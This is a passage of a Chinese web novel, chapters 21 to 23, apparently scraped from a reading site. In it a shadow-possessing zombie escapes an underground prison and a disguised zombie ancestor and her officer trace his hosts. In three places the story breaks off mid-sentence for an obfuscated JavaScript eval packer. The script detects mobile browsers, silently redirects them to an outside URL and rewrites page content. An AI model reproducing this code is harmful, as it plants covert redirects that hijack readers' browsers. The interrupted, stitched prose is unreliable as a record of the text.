江恨白面色煞白,还想争辩,却见站在主位的喻风盯着他,立马不做声了。 “情况大家都清楚了,A+级别高危目标沈嘲天越狱,署长非常不满。”喻风身后的光屏上显示着地下监狱一派狼藉,他转向一旁抱臂而立的前队长,“舒厌,虽然你已经被撤职,但眼下情况特殊,一组二组的具体作战指挥,还是由你负责,署长也希望你能戴罪立功。” “舒队长的一切部署,希望各位都能积极配合。”喻风语带敲打,虽然没有望向江恨白,但那意思很明显,叫他闭嘴。 江恨白颓然低头,拳头狠狠砸在自己腿上,他眼里布满血丝。仅仅在修复舱躺了一天,二组组长的位置就要假手他人了。 命令下达完毕,众人迅速起身离开会议室,只留下江恨白一人。 * 如果不是能源控制署打卡的范围过于精准,蚩蓠本来是想躺床上实现无痛上班的。 还差五分钟九点,她才慢悠悠地从署对面的高级公寓晃来。舒厌的办公室在十五楼,寒黎的工位正对他办公室门口。本该抬头不见低头见,奈何猎尸队最近案件频发,舒厌基本都在出外勤。 蚩蓠乐得看他脚不沾地,最好天天有僵尸越狱,等下次他再被打得半死不活的时候,她再临阵补刀,坐收渔翁之利。 不过,她还没来得及验证僵尸的身份能否解封同类,上回本想拿郑有德试试手,却提前被舒厌动了手脚。 这可不行,她做事一向严密,要是舒厌提前被她搞死做成了僵尸,到头来却发现他解不开自己的封印,那才是赔了夫人又折兵。 蚩蓠脑子里不断盘算,眼睛盯着智脑光屏,心思却神游天外,完全没注意直接拨通她视频的舒厌。 能控署的会议设施和工作氛围很霸道,不需要被呼叫的人同意,只要上级拨通下属的账号,不管下属是在洗澡还是在上厕所,都会第一时间直接接通。 “寒黎,昨晚辛苦了。”舒厌皮笑肉不笑,就算是隔着屏幕,也能嗅到那股杀气。 “哦,”蚩蓠耸耸肩,“还行吧,我体力一向不错的。” “……” 视频那头沉默了将近五秒,蚩蓠想挂断,却发现下级权限根本没有主动结束通话的按钮。 “长官,您吃早餐了吗?”蚩蓠没话找话,笑眯眯地问,手上却已经发起了对系统部的投诉申请。 像是突然想到了什么,舒厌开口:“还没有,有点饿了,寒秘书给我送点早餐过来吧,我要一杯热咖啡,不加奶。” “好嘞,您在哪?我马上送过去。”蚩蓠堆满笑脸,心里却嘀咕这伪人居然还会饿,而且就算饿了,一杯咖啡能顶什么肚子。 该不会……是看不惯她摸鱼混日子吧。 “十八层地下,我给你开了权限,马上过来。”说完舒厌就挂断了。 这是想把我拖进十八层地狱呢,蚩蓠暗骂一句,按照舒厌的吩咐,慢悠悠地煮了壶滚烫的咖啡。 通往地下空间的道路守卫森严。 工牌验证后,蚩蓠通过第一道关卡,走进专属电梯等 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“真慢,”舒厌温热的稀奇抚过侧颈,“还要我亲自到一楼来接你。” 他不由分说地摁住她,将她稳稳按在扫描区内。 蚩蓠就这样毫无防备地迎上了「归零」的第三重检验。 “身份验证成功。”「归零」的声音听上去竟然有了微妙的变化,原本设定为职场专业女声的音调,意外的和蔼了几分。 “走吧。”舒厌半推着她踏入电梯。 不知道是不是错觉,蚩蓠竟觉得他心情不错。 她很快从身份暴露的紧张中缓解出来,佯作好奇地问:“长官,地下一共多少层呀?全都是监狱吗?那个叫沈什么的,之前就待在负十八层?” 舒厌似乎想到了什么,就着七十度的咖啡一口闷,那架势简直跟蚩蓠生前的姨夫灌酒一般,没来由地让她一阵厌恶,别开了脸。 “地下多少层我也不知道,不过大部分都是关押重型僵尸犯的监狱,我抓来的僵尸里,目前只有沈嘲天关押在负十八楼,其他的基本都在负十楼以内。” 他居然回答得如此详细,完全出乎蚩蓠意料之外,紧接着,舒厌冷不丁地问:“你讨厌的某个人很爱喝酒?” 她偏头看他,第一次觉得他如此冒昧,比昨晚吻她更冒昧,更失礼。 他的这个问题,像是直接将手伸进了蚩蓠毫无防备的心腔,企图从中挖出一点无法窥见天光的秘密。 “到了,长官。”她没有回答。 电梯门滑开,两人一前一后走进一段空寂的走廊。尽头,一扇厚达半米的合金门虚掩着,门内溢出的强光将走廊墙壁上深刻的爪痕和武器能量灼烧的印记照得无所遁形。 那光线太暴裂太刺眼,蚩蓠下意识地眯起眼睛,生理性的泪水仍不受控地涌出。 “什么僵尸需要这么强的光来压制?”她抬手挡住眼,摸出防护镜戴上。 “据说是个千年僵尸,”舒厌意味深长地看着她,“说不定,尸祖大人也认得他。” 21.匿影夺魂② “‘尸祖大人’?”蚩蓠嗤笑一声,刻意忽略了对方几乎戳破她身份的暗示,“长官居然尊称一个老怪物为‘大人’?署长知道您这么有礼貌吗?” 她心下雪亮,对方显然已经对她的真实身份了如指掌,却不捉拿她,也不揭穿她。 直觉告诉蚩蓠,这人与当年封印她的那个“舒厌”有着千丝万缕的联系,却绝不是同一个人。 她摸不透对方的顾虑,或者说,他的意图,但很显然,舒厌调查过她,他那句“你讨厌的某个人很爱喝酒?”分明是在试图染指她的过往。 这是蚩蓠绝不允许的。 舒厌定定看她片刻,似是叹息,又似无奈:“那好吧,老怪物。” 一语双关。 蚩蓠太阳穴突突直跳,不着痕迹地翻了个白眼。 “舒队,您可算来了。”监狱长的眉头拧得死紧,简直能夹扁苍蝇,“我带您看看现场。” “好,麻烦了。” 几具守卫的尸体姿态扭曲地倒伏在地,脸上凝固着害怕到极致的恐惧,身上却不见明显外伤。 舒厌蹲下.身,检查其中一具尸体的瞳孔。 那人原本深棕近黑的虹膜,此刻几乎变成了一片浑浊的白,如果不是周围一圈极淡极淡的环,根本无法分清瞳孔和眼白的区别。 “这是沈嘲天强行侵入对方脑波意识,给大脑造成无可逆转伤害的表现之一。”舒厌解释道。 见对方有意跟她分析案件,蚩蓠还是很给面子地积极回应:“长官,上次在诊所您提到的也是他吧,沈嘲天把猎尸队所有封存僵尸的棺材都毁掉了,所以才没法安置郑有德。” “没错。” 除此以外,蚩蓠还想起起上次仇怜央组织的会议,技术部负责人姜乌楠也提到过,沈嘲天是最快实现A级进化的僵尸。 这样难缠的家伙,蚩蓠却对他一点印象都没有。 除了倒伏在地的工作人员,被暴.力破坏的棺材板碎片飞溅得到处都是,一柄桃木断剑落在棺材旁边,剑身四分五裂,就连刻满的密宗真言,也早已暗淡无光。 蚩蓠忍不住感慨:“这剑……居然困不住他?!” 要知道,就连她的本体都没法突破桃木剑的强大诅咒,一个A级僵尸,竟然无视了这份力量。 “长官,该不会这回用的桃木剑又有问题吧?” “剑眉问题。”舒厌回答得斩钉截铁,“这剑对他起不了作用,本来也是意料之中的事情。” “什么?!我还以为桃木剑是对付僵尸最有用的圣物呢?”蚩蓠半真半假地惊叹。 “我们花了一整年的时间才弄清楚沈嘲天的异能。他的本体应该很久以前就被抛弃了,桃木剑只对僵尸起作用,但沈嘲天可以寄生在普通人的影子里,影响并操控被寄生者的意识,他要是有心隐藏,我们很难对其进行抓捕。” “他的异能……匿影夺魂?”蚩蓠悚然。 这不是当年她跟夜璃构想过的修炼方向之一吗? 两人都觉得僵尸之躯受限过多,终有一日,灵魂应当彻底从肉.体的囚笼中解放,她们也必定能突破只能经由血脉操控他者的局限。 “姐姐,你不觉得藏匿在别人的影子里操控他们,特别的有意思嘛?我想好了,这招就叫「匿影夺魂」吧。”夜璃当时笑得天真又残忍。 后来,蚩蓠已经能做到将意识剥离本体,不依赖躯壳,但这种状态只能持续极其短暂的时间,这也是她在脱离了青魇的分.身,还未夺舍寒黎时可以以游离态存活的原因。 但是将意识藏匿在他者影子里,并一直以此形态存活于世,这对蚩蓠来说,不过只是夜璃的天方夜谭。 没想到,这竟是摆脱桃木剑克制的绝佳法门! 舒厌点头:“‘匿影夺魂’,名字起得不错。可以考虑报给技术部,年底说不定还能给你颁个‘最佳命名奖’。” 蚩蓠完全没听进他的冷笑话。 整个人沉浸在巨大迷惑之中,她感觉自己身处在一个盘丝洞,必须小心翼翼地循着丝线,才能揪出编织蛛网的幕后黑手。 沈嘲天这项异能,虽然不及郑有德的“血丝操控”攻守兼备,却跟青魇的“分.身化形”的异曲同工,非常实用,尤其让桃木剑彻底失效,无怪乎他能进到猎尸队通缉榜前三名。 难道这一次,又与夜璃有关吗? 她压下思绪,追问:“既然沈嘲天本体已经不在了,桃木剑封印的是谁?他最后寄生的宿主吗?他的宿主……难道也是僵尸?” “这件事在别人看来或许有些残忍,不过我认为,你应该可以接受。”舒厌又是一副话中有话的态度,“我们用尽一切手段,将沈嘲天驱逐到一个自愿转化为僵尸的猎尸队成员身上,在棺材里安装了无影强光灯,再用桃木剑刺入自愿者心脏。” “是,是这么回事。”监狱长忙不迭地附和。 他这个岗位重在执行,上头的领导要求怎么布置,他就怎么安排。 虽然不明白舒厌为什么要跟秘书解释这么多,但听上去像是在帮自己说话,也还是很有耐心的补充说:“实际上为了确保整个负十八层不产生任何影子,我们能见到的任何角落,都安装了强光阵列。” 然而,棺材里转化为僵尸的自愿者却并未实现永生,他早已成为一具腐尸,发出阵阵恶臭,尸水渗出棺木,在地面洇开一滩悲凉的印记。 舒厌无视那些污浊,将手搭在棺木边,语气里充满了对队友的惋惜和对沈嘲天的痛恨:“可是,就算自愿者已经死亡,就算他再也找不到任何可以寄生的影子,沈嘲天,他还是逃走了。” “外面走廊墙壁上的痕迹,是他干的?”蚩蓠问。 这回是监狱长答的话:“不全是。在囚犯沈嘲天之前关押过一个高阶僵尸,那家伙想强行突破,被我们用武器镇压了,高能炮留下了一些凹坑,还没来得及修复。但是墙上的爪痕,是自愿者转化为僵尸之后留下的。” 现场之惨烈,自不必多言。 仿佛为了忘掉队友不值当的牺牲,舒厌将视线放在了周围那些无影设备上,问监狱长:“前天尸祖被抢之后,听说监狱发生了短暂的能源短缺?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371058|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊……是,是有这么回事!”监狱长一拍大腿,激动道,“有几台无影装置电力供应不上,断了几秒,三秒,顶多三秒!囚犯肯定是利用那时候产生的影子,寄生了值班人员,换班时溜掉了!唉,哪里知道才三秒钟的时间,就被他钻了空子!” “前天?”蚩蓠声调微扬,“他前天就越狱了,居然今天才发现吗?” 好嘛,果然绕不过去,监狱长无不沮丧地想,虽然不是舒厌直接质问,但话从他秘书口中说出来,多少还是传递了舒厌甚至署长的意思吧。 “不、不确定具体时间。今天我来巡检,发现值班的狱警情况不太对,没过多久就变成现在这副样子了,我再去棺材里一检查,发现猎尸队的自愿者兄弟已经化成了一滩水,才知道大事不妙了。” “咱们监狱以往都是临时收监,大部分囚犯待不了一个星期就会转移到各区的血晶工厂,像沈嘲天这样计划长期收监的,非常非常少,我已经尽量每天巡检一次,唉,还是发现太晚了,舒队,我实在是……” “好了好了,”舒厌并不喜欢在事故发生后第一时间搞什么追责,重点是如何挽回损失,“我和寒秘书只是在了解一些基本情况,并不是在责怪狱长,我们只负责干好猎尸队的活,至于其他的,喻主任应该会问您,提前做好准备就好了。” 听到“喻主任”三个字,监狱长本就一脸菜色的表情变得更加难看。 他又叹了口气,不再做声。 蚩蓠没心思理会这些职场倾轧,她在模拟代入沈嘲天这个角色,如果想要顺利逃跑,会面临什么?需要解决哪些阻碍? 她第一反应是要躲避「归零」的监控和扫描。 整栋大楼的安保严苛到变态,就像她走进这层楼需要经过三重关卡,逃出去必然也得过「归零」那关。 而「归零」,居然通过了她的脑部能量频谱识别。 联想到之前本体被青魇分.身亵渎,到后续直接被抢夺,「归零」也在监控上出了问题,她不禁怀疑,联邦的人工智能是不是真的如此可靠。 “长官,”她抬眼看向舒厌,“如果把沈嘲天越狱的步骤进行拆解,第一步是寄生值班人员,第二步应该是离开负十八楼,那么他是怎么偏过安保检查的呢?” 见蚩蓠如此投入,甚至无意识地用上了情景推演的战术技巧,舒厌生出一种奇异的感觉,仿佛对面站着的不是什么势不两立的僵尸始祖,而是与他并肩作战多年的可靠同僚。 他难得耐心分析:“常规脑电波检测只会显示异常波动,但值班人员并没有被沈嘲天夺舍,所以专属能量频谱不会发生变化。目前联邦研制的检测工具只能从行为层面识别对象是否被操控,无法通过扫描的方式直接判定,所以只要他重新找到寄生对象,离开能源控制署,是一件极其容易的事情。” 蚩蓠了然,甚至朝舒厌递过去一个心照不宣的眼神:“那就好办了,长官,我们只要筛查一遍这两天的值班人员,看看谁行为异常,就可以锁定潜在宿主了吧?” “嗯,”舒厌点头,“前提是他没有马上更换宿主。” 22.匿影夺魂③ 想睡觉就有人递枕头。 舒厌的智脑适时传来归零的行为异常评估报告:“经综合评估,有三名值守人员行为模式出现显著偏差,以下是其最后行动轨迹。” 光屏上,三条路径清晰分明:一条深入核心内环,就在血晶一号工厂旁边;一条通往工业区,最后一条则蜿蜒向混乱的外城区。 舒厌当机立断,接通猎尸队一二组组长的通讯,将评估结果同步给他们。“武琨,工业区目标归你。黎柒染,外城区由你负责。有任何异常,即时同步。” “收到!”武琨和黎柒染的声音几乎同时响起。 舒厌的目光最终锁死在血晶一号工厂的标识上。一切,又回到原点了吗? “这个,你跟我一起去。”他抬起下巴,示意蚩蓠。 蚩蓠实在搞不懂,她这个生活秘书为什么总是要像外勤人员一样东奔西走,以前的寒黎分明天天坐办公室喝咖啡,晚到早退,爽得不得了。 唉。她认命般拖长了调子:“遵——命——” 他们追踪的狱警名叫路艋,刚毕业不久,个子不高,吨位不小,家境还算不错,父母都在联邦任职,在不夜穹隆属于典型的中产家庭,唯一的烦恼是儿子的形象管理,老两口眼见敦促减肥无望,终于下定决定,打算花费三分之一的储蓄为他购买“薄肌塑形”义体。 得知这个消息的路艋先是生气,气父母嫌他丢人,然后大喜,他终于可以放开手脚胡吃海喝了,至少在更换义体之前,吃到四百斤才够滋味。 他几乎将每个月所获得的血晶全部贡献给了一家名叫“当康食堂”的餐饮店,这家连锁店铺从不用预制菜,后厨全程透明化运作,关键是原材料,后院直接圈下了一个养猪场,顾客甚至可以选择指定的猪现杀现品。 要知道,在寸土寸金的核心内环,一家餐饮店租赁这么大面积,得耗费多少成本,而且其隔壁就是鼎鼎大名的血晶一号工厂。 不过羊毛出在羊身上,“当康食堂”的客单价自然不菲,要是指定食材,更是得收取30%的服务费,主要服务对象正是血晶一号工厂的工作人员,内部人都戏称其为工厂的编外食堂。 能源控制署在核心内环靠东部位置,血晶一号工厂虽然也在内环,但方向刚好相反,坐悬浮列车得整整一小时。 路艋平时习惯在离能源控制署最近的当康食堂就餐,这次不知道为什么,专程跑到了血晶一号工厂附近,因此被归零识别出行为异常。 血晶一号工厂本是舒厌被降职前的特定管辖范围,叠加了尸祖被夺事件,让他格外在意,于是决定亲自调查。 蚩蓠和舒厌的任务很简单,他们假扮前来就餐的食客,有了上次小童的经验,两人除了换皮乔装,也对身上的皮肤和配饰做了一些细节上的调整。 按照舒厌的计划,蚩蓠得装作一线禁烟的奋斗义士,好好敲打敲打路艋这个年龄不大、烟龄十五、从不顾及场合的老烟鬼。 可是两人在路艋斜对面吃了半天,一碗猪头粉都快见底了,也不见对方掏出半根烟。 “老弟,”人在外,姐的身份是自己争取的,蚩蓠冲舒厌小声说,“归零到底靠不靠谱啊?这家伙身上连烟味都没有。” 舒厌没说话,只是默不作声地观察着这个看似普通,却又在人群中格外扎眼的目标。 路艋只觉得饿疯了,他才三天没吃当康的猪头粉,就难受得百爪挠心。 不知道为什么,能控署旁边那家当康食堂突然变得特别难吃,他在软件上一顿恶评输出,却发现只有零星几人附议点赞。 他无法忍受这种折磨,每天上班心不在焉,今天早上听说有个极其危险的僵尸越狱了,他也没当回事,一心只想找到当康食堂的代餐。 最后搜索半天,还是在发出的差评底下,发现两个人说血晶工厂附近这家店的口感跟之前一样。 抱着试试的心态,他不惜跨越核心区来到这家店。一口浓汤下肚,他几乎热泪盈眶,就是这个味!! 路艋高兴啊,他点的第五碗粉很快见了底,就连口袋里的烟都不香了。 切,父母有闲钱给他换义体,还不如给他换个超级大胃囊来得实在。 心血来潮,好不容易重新找到了合适的口味,不如下一碗粉亲自到后院选一下食材吧。 他招呼服务员,下了订单,拖着着肥大的身躯,一摇一摆地跟进了猪圈。 蚩蓠和舒厌自然紧随其后,一旁的服务员热情地介绍道:“我们当康食堂培育的食材经过八重基因筛选,肉质鲜嫩肥美,滑而不腻,已经连续十年荣获……” 眼见路艋跟着前面的服务员走远,蚩蓠正欲跟上,却被领路的服务员拦下:“这位小姐,我们食堂遵循‘一组一食材’的选用标准,不建议您跟前面那位先生一起选材哈。” 见蚩蓠面有不满,又忙补充:“之前有过几个顾客指定同一个食材的情况,还发生了争吵,为避免这种不愉快的事件再次发生,我们老板特意颁布了这条新规,请您谅解呢。” 蚩蓠绕开服务员,本想胡搅蛮缠糊弄过去,却发现路艋居然已经回来了。 前后不过半分钟,这也太快了。 她跟舒厌交换了一个眼神,两人心照不宣,圈养的猪看起来白白净净,哼唧个没完,却莫名让人缺乏食欲。 舒厌佯作生气道:“一家餐厅而已,规矩还挺多,这些食材也不怎么样,不吃了,走。” 付完钱,两人继续尾随路艋。 “老弟,‘细狗’好像不太对劲。”为避人耳目,蚩蓠给路艋起了个反差极大的代号。 “你是说他瘦了点?”舒厌看似闲聊,眼里的光却像鹰隼般全落在路艋身上。 “这我倒是没发现,不过……”纠结了几秒,蚩蓠最终还是吞下了要说出口的话,她敏锐地嗅出,路艋散发出的血气比之前淡薄了些许,这对人类而言,通常意味着失血,但是她并未感知到任何细微的创伤。 “不过什么?”舒厌追问。 “没什么,我仔细看了一下,他好像确实瘦了一点,衣服是一样的,但胳膊那里明显松垮了不少。” “嗯。”舒厌不再追问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376908|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人类身体的血液总量跟体重有直接关系,两人的结论实际上是一致的。 沉默了一秒,他们突然异口同声道:“他被替换了?!” 到了这一步,舒厌已经觉得没有继续追踪路艋的必要了,即使当康基因和路艋本人确有蹊跷,恐怕也跟沈嘲天关系不大。 他当即联系刑侦部的同事,简要描述事件的经过,将案件暂时移交给对方。 蚩蓠很早就留了个心眼,她将青魇的分.身变成几只小蟑螂,指挥它们偷偷返回食堂,盗取了一些路艋吃剩的粉渣,假装是刚才走的时候顺手偷的。 看着那包“赃物”,舒厌哭笑不得:“寒黎,想不到你还挺心细的,我这就叫无人机过来取样,送到实验室化验一下是不是有违禁药物。” 这一瞬,两人都有种角色倒错的感觉,仿佛舒厌真的变成了蚩蓠的小弟,毕竟跑腿和具体执行的工作,一般都是下属完成的。 “核心内环目标暂时排除嫌疑,武琨,黎柒染,你们那边情况如何?”舒厌通过内部通讯频道联系两人。 武琨很快做出回复:“报告长官,工业区吴帆暂时排除嫌疑。他刚才是去私会私生女了,之前吴帆一直通过智脑联系转账给对方,这次想亲眼见见她,结果发现是一起超过十年的诈骗案,已经移交刑侦部立案调查。” “好。黎柒染,你这边怎么样?” “……”通讯频道内传来一阵盲音。 突然,一阵激动到变形的嘶喊穿透频道炸开:“不!我不去!我错了!我要献血!让我去献血!我能献够800毫升!别流放我!” 紧接着,黎柒染压低到极致的声音切入:“领导,有异常!我在城防区流放中心,请求支援!” “收到。保持联络,注意安全,我们马上到。”舒厌冷静地回复,刚刚关闭通讯,他即刻安排武琨调遣一队人员和编外小队火速支援。 另一边,一小时前,外城区G区。 黎柒染带着两名队员,隐匿在嘈杂混乱的人群中。 结束值班已经六个小时,纪伊依才刚刚在悬浮地铁站的女厕所换下那身看守制服。 本来制服应该下班后在署内更衣室统一更换,外头的老百姓或多或少对这身制服怀有畏惧甚至厌恶,然而今天,她却鬼使神差地享受起这种被人敬而远之的感觉。 纪伊依过去的人生简直像一潭死水。 她是那种典型的老实人,工作恪尽职守却固守成规,不出挑,不犯错,平庸,无趣,死板……这些都是同事给她贴的标签。 看守僵尸的狱警岗位,看似危险,实际上都是按部就班,不怎么需要动脑子,按照地上领导的指令行动就好,她觉得自己再适合不过。 可是今天,她的想法彻底改变了。 她渴望瞩目,而不是像现在一样长期被忽视。她憎恶规则,憎恶平凡,憎恶过去那个每一天都一模一样的自己。 浑身的血液仿佛被彻底换过,奔涌着陌生的躁动。 人生苦短,何不癫狂?纪伊依决定,要干一票大的。 23.匿影夺魂④ 外城区G区的献血大厅,永远弥漫着一股若有似无的血腥味,巨大的全息投影依旧循环播放着“献血光荣,点亮穹隆”的宣传片。 黎柒染和两名队员混在排队献血的队伍中,目光紧紧追随着她们的目标。 除了比平时更晚离开能源控制署,以及没在更衣室更换制服,纪伊依看起来并无异常,她搭乘悬浮轨道,跟往常一样准备返回外城区的家。 途中,她手腕上的智脑发出刺耳的“滴滴滴”声,这个特殊的声音几乎所有人都很熟悉,是联邦强制献血的通告。 纪伊依低着头,一副逆来顺受的模样,她掐断了提示音,在离家最近的献血大厅提前下了车。 队伍像濒死的蠕虫般缓慢前行。 终于,轮到她前面的一位面色蜡黄的瘦弱男子,机械触手刺入脖颈,暗红色的血液顺着软管流入采集袋,随着血液一点一滴地流逝,男子的脸色逐渐透出一股死灰。 显示屏上采集的血量慢慢逼近200毫升定额,就在机械触手即将拔出针头的刹那,纪伊依眼中闪过一抹几乎狂喜的兴奋,猛地扑向前方,一把扯断了连接在男子脖颈上的采血管。 温热的鲜血喷溅出来,染红了她半张脸。 可她却丝毫不在意,伸出舌头舔了舔嘴角的腥甜,随即抓住还未回收的血袋,贪婪地对着破损的管口吸吮起来。 “啊啊啊——”周围排队的人群传出惊恐的叫声,淹没了瘦弱男子有气无力的呻.吟,他捂住喷血的脖颈,整个人瘫软下去。 “不够!永远都不够!”纪伊依扔掉空瘪的血袋,状若疯癫,她冲出队伍,跳上等候椅,对着惊呆的人群挥舞着染血的手臂,尖利地呐喊道: “睁开你们的狗眼看清楚!你们这帮蠢货!看看自己!脸色像死人一样!你们就是一群待宰割的牲口!” 她抽出工牌,几乎堆到旁边人的脸上,歇斯底里地炫耀: “认得这个吗?!联邦能源控制署!我!跟你们不一样!你们这群底层渣滓献干最后一滴血点亮的不夜穹隆,是我们联邦精英的享乐城!” “你们知道老娘手底下看管的是什么吗?是动动手指就能把你们碾成肉泥的高阶僵尸!知道老娘一个月能从联邦拿到多少血晶吗?说出来吓死你们!比你们这帮贱民全家一辈子挣得都多!” 她脸上混合着鲜血与疯狂,声音因极度亢奋而扭曲:“我比你们高贵!比你们有用一千倍一万倍!我的血比你们金贵多了,凭什么要我跟你们一样献血?笑话!补血!应该用你们的血来给我补!这才叫物尽其用!” 这番言论从一个刚刚施暴的联邦职员口中咆哮而出,产生了极其荒诞又骇人的煽动效果。 “她……她真是联邦的人?!” “怎么能说出这种话?” “这是真的吗?我们累死累活,他们拿那么多???” “联邦表面一套背地里一套,说什么公平正义,其实里头各个都是天龙人,她都说我们是‘贱民’了,装都不装了。根本看不起我们!” “就是!都不带演的了!” “不献了!他爹的,谁爱献谁献!” 人群被压抑到极致的怨气,被这赤.裸裸的鄙视和特权展示彻底点燃,纪伊依的身份和她疯狂的言论,像一颗火星扔进了炸药桶。 “警告!检测到暴力拒献和煽动群众叛乱行为。”两台维持秩序的机械臂迅速滑来,红色的警示灯旋转,试图制服纪伊依。 “滚开!你们这些低级废铁!”纪伊依脸上满是嫌恶,竟然从后腰摸出一把违规携带的能量匕首,快准狠地挥向机械臂。 一台机械臂的液压管被切断,动作僵滞,溅出提供能量的熔融血晶。 “杀……杀人了!”不知道谁喊了一声。 混乱彻底爆发,一些本就心存不满的民众开始骚动,推搡着周围的机器和设备,试图逃离这令人绝望的牢笼。 黎柒染深陷混乱中心,心知场面已经濒临失控,必须控制住纪伊依,但不能暴露身份,还要尽可能保护普通民众。 她朝两名队员使了个眼色,三人假装成被煽动的暴戾民众,大吼着:“跟她拼了!联邦不把我们当人!”,一边试图接近纪伊依。 然而,自从尸祖被抢后,各地血晶工厂和献血大厅都加强了安保,不到一分钟,天花板轰然打开,十几台极具攻击性的执法机械臂垂落下来。 与此同时,全副武装的城防士兵汹涌而入。 “所有暴乱者,立刻束手就擒,否则将采取强制措施!” 高压电击棍的噼啪声和人们的惨叫此起彼伏。 黎柒染三人“负隅顽抗”,故意在城管面前做出激烈反抗:“联邦走狗!你有本事别抓我,直接毙了我!” 黎柒染很轻松地惹怒了城管执法人员,以她的实力,完全可以轻松躲过对方的电棍,却硬生生挨了一棒。 最后当然是三人的失败抵抗结束,她们鼻青脸肿,不情不愿地被电磁镣铐锁住了手腕。 纪伊依虽然武力值不差,但装备有限,双拳难敌四手,面对十几个全副武装的执法城管,最后还是落了下风。 连同纪伊依、黎柒染三人在内,还有几个闹得最凶的民众,全都被粗暴地押上了一辆密闭的武装运输车。 “送你们这帮暴徒去城外尝尝滋味酸雨的滋味!”城防士兵在关车门前恶狠狠地啐了一口。 那几个民众这才明白自己的接下来的境遇是什么,他们这是直接被执行酸雨荒野流放了,这辆车则是人人闻之色变的“流放车”。 车内,绝望像浓稠的沥青,几乎凝固了空气。 每个人都被牢牢束缚在独立的金属座椅上,环绕的电流囚笼发出不详的蓝光,提醒着每一个轻微的移动都可能带来皮开肉绽的痛苦。 车辆驶向城外,途中又陆续上来几人,一个是死死护着两个孩子的母亲,一个头发灰白满脸皱纹的老人,还有一个紧捧着一个简陋骨灰盒的瘦小女孩,那女孩失去了一只手臂。 纪伊依此刻完全没了那股疯批劲,颓靡不振地蜷缩在角落的金属座椅上,一双空洞又怨毒的眼睛死死瞪着新进来的几人。 献血大厅闹事的民众都光顾着懊丧,没心情关心新来的流放者,只有同样后来的老人看着两个孩子的母亲,诧异地问:“你怎么把两个孩子也带上了?” “他们不肯离开我。”女人声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16388874|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低沉,透着无尽的疲惫,“我犯了错,自己受罚就好了,孩子本来想留给他们爸爸,可是我找不到他了……可能被僵尸咬死了吧,哈哈。”她干笑两声,眼泪流了下来,在满是脏灰的脸上留下两道印迹。 “孩子要是没人照顾,在城里也活不了了,与其让他们饿死或者被僵尸咬死,那不如……跟着我一起流放,酸雨嘛,应该没事吧。” “你心可真大!”老人激动起来,电流因他的动作爆出细微火花,“外头的酸雨可不是闹着玩的!那是强酸雨,一滴就能在你孩子身上烧个窟窿!” 女人眼神麻木,反问老人:“您呢?您既然知道外头的酸雨这么厉害……咦,看您年纪,应该退休了吧?怎么……” 老人接过女人的话头,那神情里居然显出几分骄傲:“我嘛,活够了,也逆来顺受够了,还有最后三个月就退休了,到时候要被赶去什么狗屁圣徒医院,还不如到城外喘口气。” “圣徒医院不是挺好的嘛?”女人更紧地搂住孩子,小心翼翼避开电芒。 “好什么好,好你怎么不当顺民?唉,我是明白得太晚咯。”老人长叹一口气,紧接着毫无征兆地猛烈咳嗽起来,唾液里飞出不少血沫。 旁边的断臂女孩似乎生怕老人的血沫飞溅到骨灰盒上,身子蜷起,用仅存的一只手臂遮住盒盖,温柔地环抱着。 老人见状,没有生气,反而向女孩道歉:“小姑娘,不好意思啊,老毛病了,一咳嗽就止不住。咳咳……” 断臂女孩没有回应,只是将头埋得更低了,生与死只是两人的初次告别,当骨灰消散,她才会彻底失去罐子里的人。 老人叹了口气,不再追问。 在这流放车上,谁还没有一段浸透血泪的往事。 黎柒染半垂着眼,看似和其他被抓捕的暴徒一样颓丧,实际上全身的感官都紧绷着,牢牢锁定着角落里的纪伊依。 尽管如此,她却很难忽视这些看似闲聊的对话。 理智告诉她,这些人固然可怜,可不夜穹隆的发展暂时还无法离开血晶,那意味着必须依靠现有制度的存续。 没有任何制度是完美的,有人的地方就会有牺牲,就会有不平等,她现在要做的事情,不是推翻这个制度,而是让这个制度更好地完善执行。 就在这时,车辆猛地减速,最终停稳。 车门再次打开,城外不再是城市景象,晦暗压抑的天空尽头,是高耸入云的城墙。 内城的最后一道关卡到了。 突然,纪伊依像是被针扎了一样猛地弹起,不顾电流灼烧的疼痛,拼命往前扑,对着车门外站岗的士兵发出凄厉哀怨的哭喊:“我错了!我真的错了!放我回去……我可以献血!一个月800毫升!不!1000毫升!让我做什么都行!别送我去外面!那是送死啊!!!” 她哭得一把鼻涕一把泪,与不久前那个视人命如草芥的“联邦精英”判若两人。 这种极端反差,让黎柒染心中的判断愈发清晰:纪伊依被寄生了,现在又被抛弃了。沈嘲天的意识已经离开了这句躯壳的影子,去寻找更合适的新宿主。 